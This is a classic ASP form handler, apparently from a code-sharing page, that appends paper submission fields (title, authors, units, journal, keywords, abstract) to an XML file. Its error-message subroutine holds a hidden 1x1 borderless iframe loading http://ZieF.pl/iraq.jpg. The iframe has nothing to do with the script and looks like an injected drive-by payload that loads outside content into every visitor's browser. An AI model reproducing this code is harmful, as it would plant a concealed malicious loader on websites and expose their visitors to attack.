📄 gbappend.asp
字号:
<%@ language="VBScript" %>
<%
dim author(3),author_units(3),keywords(3)
title=Request.form("title")
author(3)=Request.form("author3")
author(2)=Request.form("author2")
author(1)=Request.form("author1")
author(0)=Request.form("author0")
author_units(3)=Request.form("author_units3")
author_units(2)=Request.form("author_units2")
author_units(1)=Request.form("author_units1")
author_units(0)=Request.form("author_units0")
keywords(3)=Request.form("keywords3")
keywords(2)=Request.form("keywords2")
keywords(1)=Request.form("keywords1")
keywords(0)=Request.form("keywords0")
kanming=Request.form("kanming")
abstract=Request.form("abstract")
if title="" or author(0)=""or author_units(0)="" or kanming="" or keywords(0)="" or abstract=""then
showmessage"有必填项目没有填写!"
end if
set xmldoc=server.createObject("MSXML.DOMDocument")
xmldoc.async="false"
xmldoc.load(server.MapPath("lw.xml"))
set root=xmldoc.DocumentElement
set newNode1=xmldoc.CreateElement("lw")
root.AppendChild(newNode1)
set newNode2=xmldoc.CreateElement("title")
newNode1.AppendChild(newNode2)
newNode2.text=title
for i=0 to 3
if author(i)<>"" then
set newNode2=xmldoc.CreateElement("author")
newNode1.AppendChild(newNode2)
newNode2.text=author(i)
end if
next
for i=0 to 3
if author_units(i)<>"" then
set newNode2=xmldoc.CreateElement("author_units")
newNode1.AppendChild(newNode2)
newNode2.text=author_units(i)
end if
next
set newNode2=xmldoc.CreateElement("kanming")
newNode1.AppendChild(newNode2)
newNode2.text=kanming
for i=0 to 3
if keywords(i)<>"" then
set newNode2=xmldoc.CreateElement("keywords")
newNode1.AppendChild(newNode2)
newNode2.text=keywords(i)
end if
next
set newNode2=xmldoc.CreateElement("abstract")
newNode1.AppendChild(newNode2)
newNode2.text=abstract
xmldoc.save(server.MapPath("lw.xml"))
set xmldoc=nothing
Response.Redirect"GBList.asp"
%>
<%Sub ShowMessage(msg)%>
<body bgcolor="#ccccff">
<center>
<h3><%=msg%></h3>
<p><input type=button value="返回重新填写" onClick="history.back();"></p>
</center>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
</body>
<% Response.End %>
<% End Sub %>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -